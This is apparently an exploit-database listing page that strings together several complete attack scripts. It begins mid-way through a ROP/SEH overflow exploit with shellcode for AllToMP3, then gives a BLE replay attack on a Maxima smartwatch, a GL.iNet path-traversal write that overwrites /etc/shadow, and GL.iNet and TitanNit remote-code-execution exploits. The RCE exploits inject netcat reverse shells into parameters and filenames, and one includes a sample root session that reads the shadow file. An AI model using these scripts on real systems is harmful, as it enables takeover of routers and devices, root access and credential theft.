Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh" ####################### STACK PIVOT ########################### SEH = struct.pack("<I", 0x005CE870) # 0x005CE870 add esp 0x800, 4 pops, ret [alltomp3.exe] ####################### 1. Get Stack Pointer to point to ZZZZ ########################### ROP = struct.pack("<I", 0x0042C7CB) # 0x0042C7CB # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe] ** Null byte ** ROP += b"A" * 8 ROP += struct.pack("<I", 0x1003176D) # 0x1003176D # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll] ** ROP += b"A" * 4 ROP += struct.pack("<I", 0x1002fc2a) # 0x1002fc2a: pop edi ; ret ; (1 found) ROP += struct.pack("<I", 0xffffff1c) ROP += struct.pack("<I", 0x10035015) # 0x10035015: add eax, edi ; pop edi ; pop esi ; pop ebx ; pop ebp ; ret ; (1 found) ROP += struct.pack("<I", 0x41414141)*4 ROP += struct.pack("<I", 0x100322fd) # 0x100322fd: mov ecx, eax ; mov eax, esi ; pop esi ; retn 0x0010 ; (1 found) ROP += b"A" * 4 # ecx points to ZZZZ ####################### 2. Get and set ZZZZ to HeapCreate ########################### ROP += struct.pack("<I", 0x1003c452) # 0x1003c452: pop eax ; ret ; (1 found) [Module : lame_enc.dll] ROP += b"A" * 0x10 ROP += struct.pack("<I", 0x1003D058) # HEAPCREATE IAT ROP += struct.pack("<I", 0x10033344) # 0x10033344: mov eax, dword [eax] ; pop esi ; ret ; (1 found) [Module : lame_enc.dll] ROP += struct.pack("<I", 0x41414141) # eax has HeapCreate ROP += struct.pack("<I", 0x1003303A) # 0x1003303A # MOV DWORD PTR DS:[ECX],EAX # RETN [Module : lame_enc.dll] ** ROP += struct.pack("<I", 0x100345ee)*4 # 0x100345ee: add eax, 0x04B60F10 ; inc ecx ; and eax, 0x04 ; ret ; (1 found) [Module : lame_enc.dll] ####################### 3. Set RET ########################### ROP += struct.pack("<I", 0x1003c452) # 0x1003c452: pop eax ; ret ; (1 found) ROP += struct.pack("<I", 0x1001939e) # 0x1001939e: add esp, 0x000001A0 ; ret ; (1 found) ROP += struct.pack("<I", 0x1003303A) # 0x1003303A # MOV DWORD PTR DS:[ECX],EAX # RETN [Module : lame_enc.dll] ** ####################### 4. Go to HeapCreate ########################### ROP += struct.pack("<I", 0x0042C7CB) # 0x0042C7CB # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe] ** Null byte ** ROP += b"A" * 8 ROP += struct.pack("<I", 0x1003176D) # 0x1003176D # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll] ** ROP += b"A" * 4 ROP += struct.pack("<I", 0x1002fc2a) # 0x1002fc2a: pop edi ; ret ; (1 found) ROP += struct.pack("<I", 0xfffffea4) ROP += struct.pack("<I", 0x10035015) # 0x10035015: add eax, edi ; pop edi ; pop esi ; pop ebx ; pop ebp ; ret ; (1 found) ROP += struct.pack("<I", 0x41414141)*4 ROP += struct.pack("<I", 0x005f5548) # 0x005f5548: xchg eax, esp ; ret ; (1 found) ROP += struct.pack("<I", 0x1002a3b5)*10 # 0x1002a3b5: ret ; (1 found) // pad it # when heap create finishes, eax will have hHeap ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret ; (1 found) ####################### 5. Get Stack Pointer to point to YYYY ########################### ROP += struct.pack("<I", 0x0042C7CB) # 0x0042C7CB # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe] ** Null byte ** ROP += b"A" * 8 ROP += struct.pack("<I", 0x1003176D) # 0x1003176D # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll] ** ROP += b"A" * 4 ROP += struct.pack("<I", 0x10004f62) # 0x10004f62: pop ebx ; ret ; (1 found) ROP += struct.pack("<I", 0xfffffe58) ROP += struct.pack("<I", 0x10007d44) # 0x10007d44: add eax, ebx ; pop ebx ; add esp, 0x08 ; ret ; (1 found) ROP += struct.pack("<I", 0x41414141)*3 ROP += struct.pack("<I", 0x100322fd) # 0x100322fd: mov ecx, eax ; mov eax, esi ; pop esi ; retn 0x0010 ; (1 found) ROP += b"A" * 4 # ecx points to YYYY ####################### 6. Get and set YYYY to HeapAlloc ########################### ROP += struct.pack("<I", 0x1003c452) # 0x1003c452: pop eax ; ret ; (1 found) [Module : lame_enc.dll] ROP += b"A" * 0x10 ROP += struct.pack("<I", 0x1003D014) # HEAPALLOC IAT ROP += struct.pack("<I", 0x10033344) # 0x10033344: mov eax, dword [eax] ; pop esi ; ret ; (1 found) [Module : lame_enc.dll] ROP += struct.pack("<I", 0x41414141) # eax has HeapCreate ROP += struct.pack("<I", 0x1003303A) # 0x1003303A # MOV DWORD PTR DS:[ECX],EAX # RETN [Module : lame_enc.dll] ** ROP += struct.pack("<I", 0x100345ee)*4 # 0x100345ee: add eax, 0x04B60F10 ; inc ecx ; and eax, 0x04 ; ret ; (1 found) [Module : lame_enc.dll] ####################### 7. Set RET ########################### ROP += struct.pack("<I", 0x1003c452) # 0x1003c452: pop eax ; ret ; (1 found) ROP += struct.pack("<I", 0x10014d32) # 0x10014d32: add esp, 0x00000280 ; ret ; (1 found) ROP += struct.pack("<I", 0x1003303A) # 0x1003303A # MOV DWORD PTR DS:[ECX],EAX # RETN [Module : lame_enc.dll] ** ROP += struct.pack("<I", 0x100345ee)*4 # 0x100345ee: add eax, 0x04B60F10 ; inc ecx ; and eax, 0x04 ; ret ; (1 found) [Module : lame_enc.dll] ####################### 8. Set hHEAP ########################### ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret ; (1 found) <- should return here and start executing here ROP += struct.pack("<I", 0x1003303A) # 0x1003303A # MOV DWORD PTR DS:[ECX],EAX # RETN [Module : lame_enc.dll] ** ####################### 9. Go to HeapAlloc ########################### ROP += struct.pack("<I", 0x0042C7CB) # 0x0042C7CB # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe] ** Null byte ** ROP += b"A" * 8 ROP += struct.pack("<I", 0x1003176D) # 0x1003176D # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll] ** ROP += b"A" * 4 ROP += struct.pack("<I", 0x1002fc2a) # 0x1002fc2a: pop edi ; ret ; (1 found) ROP += struct.pack("<I", 0xfffffdcc) ROP += struct.pack("<I", 0x10035015) # 0x10035015: add eax, edi ; pop edi ; pop esi ; pop ebx ; pop ebp ; ret ; (1 found) ROP += struct.pack("<I", 0x41414141)*4 ROP += struct.pack("<I", 0x005f5548) # 0x005f5548: xchg eax, esp ; ret ; (1 found) # when heap create finishes, eax will have hHeap ROP += struct.pack("<I", 0x1002a3b5)*20 # 0x1002a3b5: ret ; (1 found) // pad it ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret ; (1 found) ####################### 10. Get Stack Pointer to point to DDDD ########################### ROP += struct.pack("<I", 0x0042C7CB) # 0x0042C7CB # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe] ** Null byte ** ROP += b"A" * 8 ROP += struct.pack("<I", 0x1003176D) # 0x1003176D # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll] ** ROP += b"A" * 4 ROP += struct.pack("<I", 0x10004f62) # 0x10004f62: pop ebx ; ret ; (1 found) ROP += struct.pack("<I", 0xfffffd5c) ROP += struct.pack("<I", 0x10007d44) # 0x10007d44: add eax, ebx ; pop ebx ; add esp, 0x08 ; ret ; (1 found) ROP += struct.pack("<I", 0x41414141)*3 ROP += struct.pack("<I", 0x100322fd) # 0x100322fd: mov ecx, eax ; mov eax, esi ; pop esi ; retn 0x0010 ; (1 found) ROP += b"A" * 4 # ecx points to DDDD ####################### 12. Set RET ########################### ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret ; (1 found) ROP += b"A"*0x10 ROP += struct.pack("<I", 0x1003303A) # 0x1003303A # MOV DWORD PTR DS:[ECX],EAX # RETN [Module : lame_enc.dll] ** ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret ; (1 found) ROP += struct.pack("<I", 0x100345ee)*4 # 0x100345ee: add eax, 0x04B60F10 ; inc ecx ; and eax, 0x04 ; ret ; (1 found) [Module : lame_enc.dll] ####################### 13. DESTIN ########################### ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret ; (1 found) ROP += struct.pack("<I", 0x1003303A) # 0x1003303A # MOV DWORD PTR DS:[ECX],EAX # RETN [Module : lame_enc.dll] ** ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret ; (1 found) ROP += struct.pack("<I", 0x100345ee)*8 # 0x100345ee: add eax, 0x04B60F10 ; inc ecx ; and eax, 0x04 ; ret ; (1 found) [Module : lame_enc.dll]* ####################### 14. SOURCE ########################### ROP += struct.pack("<I", 0x0042C7CB) # 0x0042C7CB # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe] ** Null byte ** ROP += b"A" * 8 ROP += struct.pack("<I", 0x1003176D) # 0x1003176D # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll] ** ROP += b"A" * 4 ROP += struct.pack("<I", 0x1002fc2a) # 0x1002fc2a: pop edi ; ret ; (1 found) ROP += struct.pack("<I", 0x000000a0) ROP += struct.pack("<I", 0x10035015) # 0x10035015: add eax, edi ; pop edi ; pop esi ; pop ebx ; pop ebp ; ret ; (1 found) ROP += struct.pack("<I", 0x41414141)*4 ROP += struct.pack("<I", 0x1003303A) # 0x1003303A # MOV DWORD PTR DS:[ECX],EAX # RETN [Module : lame_enc.dll] ** ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret ; (1 found) ####################### 15. GOTO _memcpy_s ########################### ROP += struct.pack("<I", 0x0042C7CB) # 0x0042C7CB # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe] ** Null byte ** ROP += b"A" * 8 ROP += struct.pack("<I", 0x1003176D) # 0x1003176D # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll] ** ROP += b"A" * 4 ROP += struct.pack("<I", 0x1002fc2a) # 0x1002fc2a: pop edi ; ret ; (1 found) ROP += struct.pack("<I", 0xfffffc94) ROP += struct.pack("<I", 0x10035015) # 0x10035015: add eax, edi ; pop edi ; pop esi ; pop ebx ; pop ebp ; ret ; (1 found) ROP += struct.pack("<I", 0x41414141)*4 ROP += struct.pack("<I", 0x005f5548) # 0x005f5548: xchg eax, esp ; ret ; (1 found) ####################### SHELLCODE ########################### shellcode = b"\xcc" * 400 real_shellcode = b"\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b" real_shellcode += b"\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09" real_shellcode += b"\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d" real_shellcode += b"\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03" real_shellcode += b"\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81" real_shellcode += b"\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04" real_shellcode += b"\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03" real_shellcode += b"\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3" real_shellcode += b"\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68" real_shellcode += b"\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68" real_shellcode += b"\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9" real_shellcode += b"\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65" real_shellcode += b"\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01" real_shellcode += b"\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68" real_shellcode += b"\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68" real_shellcode += b"\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68" real_shellcode += b"\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57" real_shellcode += b"\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c" real_shellcode += b"\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78" real_shellcode += b"\x69\x74\x54\x53\xff\xd6\x57\xff\xd0" ####################### CONSTRUCT ########################### SIZE = 500 start_of_padding = b"A" * (SIZE-len(EXE)-len(shellcode)) start_of_padding += shellcode start_of_padding += EXE SIZE = 1500 RET_NOP_TO_ROP = b"A" * 0x70 + struct.pack("I", 0x1003c6aa) * 10 # RET #INT = struct.pack("I", 0x1000f2b3) + b"BBBB" # 0x1000f2b3: int3 ; pop esi ; ret ; (1 found) INT = struct.pack("I", 0x1003c6aa)*2 rest_of_payload = RET_NOP_TO_ROP + INT + ROP # 160 + 14*4 + 172 rest_of_payload += b"\x90" * 100 rest_of_payload += real_shellcode rest_of_payload += b"\x90" * (SIZE-len(rest_of_payload)) payload = junk + SEH + start_of_padding + rest_of_payload REST = b"\x44" * (size-len(payload)) payload += REST file = open("1.wav", "wb") file.write(payload) file.close()
-
Maxima Max Pro Power - BLE Traffic Replay (Unauthenticated)
# Exploit Title: Maxima Max Pro Power - BLE Traffic Replay (Unauthenticated) # Date: 13-Nov-2023 # Exploit Author: Alok kumar ([email protected]), Cyberpwn Technologies Pvt. Ltd. # Vendor Homepage: https://www.maximawatches.com # Product Link: https://www.maximawatches.com/products/max-pro-power # Firmware Version: v1.0 486A # Tested on: Maxima Max Pro Power # CVE : CVE-2023-46916 # It was observed that an attacker can send crafted HEX values to “0x0012” GATT Charactristic handle on the watch to perform unauthorized actions like change Time display format, update Time, update notifications. # And since, there is no integrity check for data received by the watch, an attacker can sniff the same value on smartwatch A, which later can be sent to smartwatch B leading unauthorized actions # Scan for bluetooth LE devices nearby using any capable scanner, bluetoothctl is used in this “sudo bluetoothctl scan le” # “sudo gattool -I” Starts gattool in interactive mode. # “connect <MAC_OF_DEVICE_FROM_STEP_1>” Connects to the specified BLE device. # “char-desc” Lists all handles for the device. # Run “mtu 247” in Gatttool after connection to set MTU for active connection. # Run “char-read-hnd 0x0054” in Gatttool. Trust And Authorize the device on attacker's machine when prompted. # "char-write-req 0x0012 ab00000e5422002202002b0009000000059fffffffff" disables Raise to wake feature. # "char-write-req 0x0012 ab00000ec42f002302002b0009010000059fffffffff" enables Raise to wake feature. # "char-write-req 0x0012 ab000009c2ee0034050023000400030501" starts Heart Rate monitor # "char-write-req 0x0012 ab000007c323001902001800020002" sets Time Format to 24 Hrs on smartwatch. # "char-write-req 0x0012 ab0000070022001802001800020006" sets Time Format to 12 Hrs on smartwatch.
-
GL.iNet AR300M v4.3.7 Arbitrary File Read - CVE-2023-46455 Exploit
#!/usr/bin/env python3 # Exploit Title: GL.iNet <= 4.3.7 Arbitrary File Write # Google Dork: intitle:"GL.iNet Admin Panel" # Date: XX/11/2023 # Exploit Author: Michele 'cyberaz0r' Di Bonaventura # Vendor Homepage: https://www.gli-net.com # Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar # Version: 4.3.7 # Tested on: GL.iNet AR300M # CVE: CVE-2023-46455 import crypt import requests from sys import argv requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def craft_shadow_file(salted_password): shadow_content = 'root:{}:19459:0:99999:7:::\n'.format(salted_password) shadow_content += 'daemon:*:0:0:99999:7:::\n' shadow_content += 'ftp:*:0:0:99999:7:::\n' shadow_content += 'network:*:0:0:99999:7:::\n' shadow_content += 'nobody:*:0:0:99999:7:::\n' shadow_content += 'dnsmasq:x:0:0:99999:7:::\n' shadow_content += 'stubby:x:0:0:99999:7:::\n' shadow_content += 'ntp:x:0:0:99999:7::\n' shadow_content += 'mosquitto:x:0:0:99999:7::\n' shadow_content += 'logd:x:0:0:99999:7::\n' shadow_content += 'ubus:x:0:0:99999:7::\n' return shadow_content def replace_shadow_file(url, auth_token, shadow_content): data = { 'sid': (None, auth_token), 'size': (None, '4'), 'path': (None, '/tmp/ovpn_upload/../../etc/shadow'), 'file': ('shadow', shadow_content) } requests.post(url, files=data, verify=False) def main(base_url, auth_token): print('[+] Started GL.iNet <= 4.3.7 Arbitrary File Write exploit') password = input('[?] New password for root user: ') salted_password = crypt.crypt(password, salt=crypt.METHOD_MD5) shadow_content = craft_shadow_file(salted_password) print('[+] Crafted shadow file:\n{}'.format(shadow_content)) print('[*] Replacing shadow file with the crafted one') replace_shadow_file(base_url+'/upload', auth_token, shadow_content) print('[+] Done') if __name__ == '__main__': if len(argv) < 3: print('Usage: {} <TARGET_URL> <AUTH_TOKEN>'.format(argv[0])) exit(1) main(argv[1], argv[2])
-
GL.iNet AR300M v4.3.7 Remote Code Execution - CVE-2023-46454 Exploit
#!/usr/bin/env python3 # Exploit Title: GL.iNet <= 4.3.7 Remote Code Execution via OpenVPN Client # Google Dork: intitle:"GL.iNet Admin Panel" # Date: XX/11/2023 # Exploit Author: Michele 'cyberaz0r' Di Bonaventura # Vendor Homepage: https://www.gli-net.com # Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar # Version: 4.3.7 # Tested on: GL.iNet AR300M # CVE: CVE-2023-46454 import socket import requests import readline from time import sleep from random import randint from sys import stdout, argv from threading import Thread requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def trigger_revshell(url, auth_token, payload): sleep(0.25) data = { 'jsonrpc': '2.0', 'id': randint(1000, 9999), 'method': 'call', 'params': [ auth_token, 'plugins', 'get_package_info', {'name': 'bas{}e-files'.format(payload)} ] } requests.post(url, json=data, verify=False) def get_command_response(s): res = '' while True: try: resp = s.recv(1).decode('utf-8') res += resp except UnicodeDecodeError: pass except socket.timeout: break return res def revshell_listen(revshell_ip, revshell_port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) try: s.bind((revshell_ip, int(revshell_port))) s.listen(1) except Exception as e: print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__)) exit(1) try: clsock, claddr = s.accept() clsock.settimeout(2) if clsock: print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1])) res = '' while True: command = input('$ ') clsock.sendall('{}\n'.format(command).encode('utf-8')) stdout.write(get_command_response(clsock)) except socket.timeout: print('[-] No connection received in 5 seconds, probably server is not vulnerable...') s.close() except KeyboardInterrupt: print('\n[*] Closing connection') try: clsock.close() except socket.error: pass except NameError: pass s.close() def main(base_url, auth_token, revshell_ip, revshell_port): print('[+] Started GL.iNet <= 4.3.7 RCE exploit') payload = '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {} {} >/tmp/f)'.format(revshell_ip, revshell_port) print('[+] Reverse shell payload: "{}"'.format(payload)) print('[*] Triggering reverse shell connection') Thread(target=trigger_revshell, args=(base_url+'/rpc', auth_token, payload)).start() print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port)) revshell_listen(revshell_ip, revshell_port) print('[+] Done') if __name__ == '__main__': if len(argv) < 5: print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0])) exit(1) main(argv[1], argv[2], argv[3], argv[4])
-
TitanNit Web Control 2.01 / Atemio 7600 - Root Remote Code Execution
#!/usr/bin/env python # -*- coding: utf-8 -*- # # # TitanNit Web Control 2.01 / Atemio 7600 Root Remote Code Execution # # # Vendor: AAF Digital HD Forum | Atelmo GmbH # Product web page: http://www.aaf-digital.info | https://www.atemio.de # Affected version: Firmware <=2.01 # # Summary: The Atemio AM 520 HD Full HD satellite receiver enables the # reception of digital satellite programs in overwhelming image quality # in both SD and HD ranges. In addition to numerous connections, the small # all-rounder offers a variety of plugins that can be easily installed # thanks to the large flash memory. The TitanNit Linux software used combines # the advantages of the existing E2 and Neutrino systems and is therefore # fast, stable and adaptable. # # Desc: The vulnerability in the device enables an unauthorized attacker # to execute system commands with elevated privileges. This exploit is # facilitated through the use of the 'getcommand' query within the application, # allowing the attacker to gain root access. # # ======================================================================== # _# python titannnit_rce.py 192.168.1.13:20000 192.168.1.8 9999 # [*] Starting callback listener child thread # [*] Listening on port 9999 # [*] Generating callback payload # [*] Calling # [*] Callback waiting: 3s # [*] ('192.168.1.13', 40943) called back # [*] Rootshell session opened # sh: cannot set terminal process group (1134): Inappropriate ioctl for device # sh: no job control in this shell # sh-5.1# id # <-sh-5.1# id # uid=0(root) gid=0(root) # sh-5.1# cat /etc/shadow | grep root # <-sh-5.1# cat /etc/shadow | grep root # root:$6$TAdBGj2mY***:18729:0:99999:7::: # sh-5.1# exit # [*] OK, bye! # # _# # ======================================================================= # # Tested on: GNU/Linux 2.6.32.71 (STMicroelectronics) # GNU/Linux 3.14-1.17 (armv7l) # GNU/Linux 3.14.2 (mips) # ATEMIO M46506 revision 990 # Atemio 7600 HD STB # CPU STx7105 Mboard # titan web server # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2023-5801 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5801.php # # # 16.11.2023 # from time import sleep import threading import requests import socket import sys class RemoteControl: def __init__(self): self.timeout = 10 self.target = None self.callback = None self.cstop = threading.Event() self.path = "/query?getcommand=&cmd=" self.lport = None self.cmd = None def beacon(self): self.cmd = "mkfifo /tmp/j;cat /tmp/j|sh -i 2>&1|nc " self.cmd += self.callback + " " self.cmd += str(self.lport) + " " self.cmd += ">/tmp/j" self.path += self.cmd r = requests.get(self.target + self.path) def slusaj(self): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", self.lport)) s.listen(1) print("[*] Listening on port " + str(self.lport)) sleep(1) try: conn, addr = s.accept() print("\n[*]", addr, "called back") print("[*] Rootshell session opened") self.cstop.set() except socket.timeout: print("[-] Call return timeout\n[!] Check your ports") conn.close() while True: try: odg = conn.recv(999999).decode() sys.stdout.write(odg) command = input() command += "\n" if "exit" in command: exit(-17) conn.send(command.encode()) sleep(0.5) sys.stdout.write("<-" + odg.split("\n")[-1]) except: print("[*] OK, bye!") exit(-1) s.close() def tajmer(self): for z in range(self.timeout, 0, -1): poraka = f"[*] Callback waiting: {z}s" print(poraka, end='', flush=True) sys.stdout.flush() sleep(1) if self.cstop.is_set(): break print(' ' * len(poraka), end='\r') if not self.cstop.is_set(): print("[-] Call return timeout\n[!] Check your ports") exit(0) else: print(end=' ') def thricer(self): print("[*] Starting callback listener child thread") plet1 = threading.Thread(name="ZSL", target=self.slusaj) plet1.start() sleep(1) print("[*] Generating callback payload") sleep(1) print("[*] Calling") plet2 = threading.Thread(name="ZSL", target=self.tajmer) plet2.start() self.beacon() plet1.join() plet2.join() def howto(self): if len(sys.argv) != 4: self.usage() else: self.target = sys.argv[1] self.callback = sys.argv[2] self.lport = int(sys.argv[3]) if not self.target.startswith("http"): self.target = "http://{}".format(self.target) def dostabesemolk(self): naslov = """ o===--------------------------------------===o | | | TitanNit Web Control Remote Code Execution | | ZSL-2023-5801 | | | o===--------------------------------------===o || || || || || || || || L! /_) / /L _______________________/ (__) _______________________ (__) \_(__) || || || || || || """ print(naslov) def usage(self): self.dostabesemolk() print("Usage: ./titan.py <target ip> <listen ip> <listen port>") print("Example: ./titan.py 192.168.1.13:20000 192.168.1.8 9999") exit(0) def main(self): self.howto() self.thricer() if __name__ == '__main__': RemoteControl().main()
-
GL.iNet AR300M v3.216 Remote Code Execution - CVE-2023-46456 Exploit
#!/usr/bin/env python3 # Exploit Title: GL.iNet <= 3.216 Remote Code Execution via OpenVPN Client # Google Dork: intitle:"GL.iNet Admin Panel" # Date: XX/11/2023 # Exploit Author: Michele 'cyberaz0r' Di Bonaventura # Vendor Homepage: https://www.gli-net.com # Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/v1/openwrt-ar300m-3.216-0321-1679391449.tar # Version: 3.216 # Tested on: GL.iNet AR300M # CVE: CVE-2023-46456 import socket import requests import readline from time import sleep from random import randint from sys import stdout, argv from threading import Thread requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def generate_random_string(): return ''.join([chr(randint(97, 122)) for x in range(6)]) def add_config_file(url, auth_token, payload): data = {'file': ('{}'.format(payload), 'client\ndev tun\nproto udp\nremote 127.0.0.1 1194\nscript-security 2')} try: r = requests.post(url, files=data, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() except requests.exceptions.RequestException: print('[X] Error while adding configuration file') return False return True def verify_config_file(url, auth_token, payload): try: r = requests.get(url, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() if not r.json()['passed'] and payload not in r.json()['passed']: return False except requests.exceptions.RequestException: print('[X] Error while verifying the upload of configuration file') return False return True def add_client(url, auth_token): postdata = {'description':'RCE_client_{}'.format(generate_random_string())} try: r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() except requests.exceptions.RequestException: print('[X] Error while adding OpenVPN client') return False return True def get_client_id(url, auth_token, payload): try: r = requests.get(url, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() for conn in r.json()['clients']: if conn['defaultserver'] == payload: return conn['id'] print('[X] Error: could not find client ID') return False except requests.exceptions.RequestException: print('[X] Error while retrieving added OpenVPN client ID') return False def connect_vpn(url, auth_token, client_id): sleep(0.25) postdata = {'ovpnclientid':client_id, 'enableovpn':'true', 'force_client':'false'} r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False) def cleanup(url, auth_token, client_id): try: r = requests.post(url, data={'clientid':client_id}, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() except requests.exceptions.RequestException: print('[X] Error while cleaning up OpenVPN client') return False return True def get_command_response(s): res = '' while True: try: resp = s.recv(1).decode('utf-8') res += resp except UnicodeDecodeError: pass except socket.timeout: break return res def revshell_listen(revshell_ip, revshell_port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) try: s.bind((revshell_ip, int(revshell_port))) s.listen(1) except Exception as e: print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__)) exit(1) try: clsock, claddr = s.accept() clsock.settimeout(2) if clsock: print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1])) res = '' while True: command = input('$ ') clsock.sendall('{}\n'.format(command).encode('utf-8')) stdout.write(get_command_response(clsock)) except socket.timeout: print('[-] No connection received in 5 seconds, probably server is not vulnerable...') s.close() except KeyboardInterrupt: print('\n[*] Closing connection') try: clsock.close() except socket.error: pass except NameError: pass s.close() def main(base_url, auth_token, revshell_ip, revshell_port): print('[+] Started GL.iNet <= 3.216 OpenVPN client config filename RCE exploit') payload = '$(busybox nc {} {} -e sh).ovpn'.format(revshell_ip, revshell_port) print('[+] Filename payload: "{}"'.format(payload)) print('[*] Uploading crafted OpenVPN config file') if not add_config_file(base_url+'/api/ovpn/client/upload', auth_token, payload): exit(1) if not verify_config_file(base_url+'/cgi-bin/api/ovpn/client/uploadcheck', auth_token, payload): exit(1) print('[+] File uploaded successfully') print('[*] Adding OpenVPN client') if not add_client(base_url+'/cgi-bin/api/ovpn/client/addnew', auth_token): exit(1) client_id = get_client_id(base_url+'/cgi-bin/api/ovpn/client/list', auth_token, payload) if not client_id: exit(1) print('[+] Client ID: ' + client_id) print('[*] Triggering connection to created OpenVPN client') Thread(target=connect_vpn, args=(base_url+'/cgi-bin/api/ovpn/client/set', auth_token, client_id)).start() print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port)) revshell_listen(revshell_ip, revshell_port) print('[*] Clean-up by removing OpenVPN connection') if not cleanup(base_url+'/cgi-bin/api/ovpn/client/remove', auth_token, client_id): exit(1) print('[+] Done') if __name__ == '__main__': if len(argv) < 5: print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0])) exit(1) main(argv[1], argv[2], argv[3], argv[4])
-
R Radio Network FM Transmitter 1.07 system.cgi - Password Disclosure
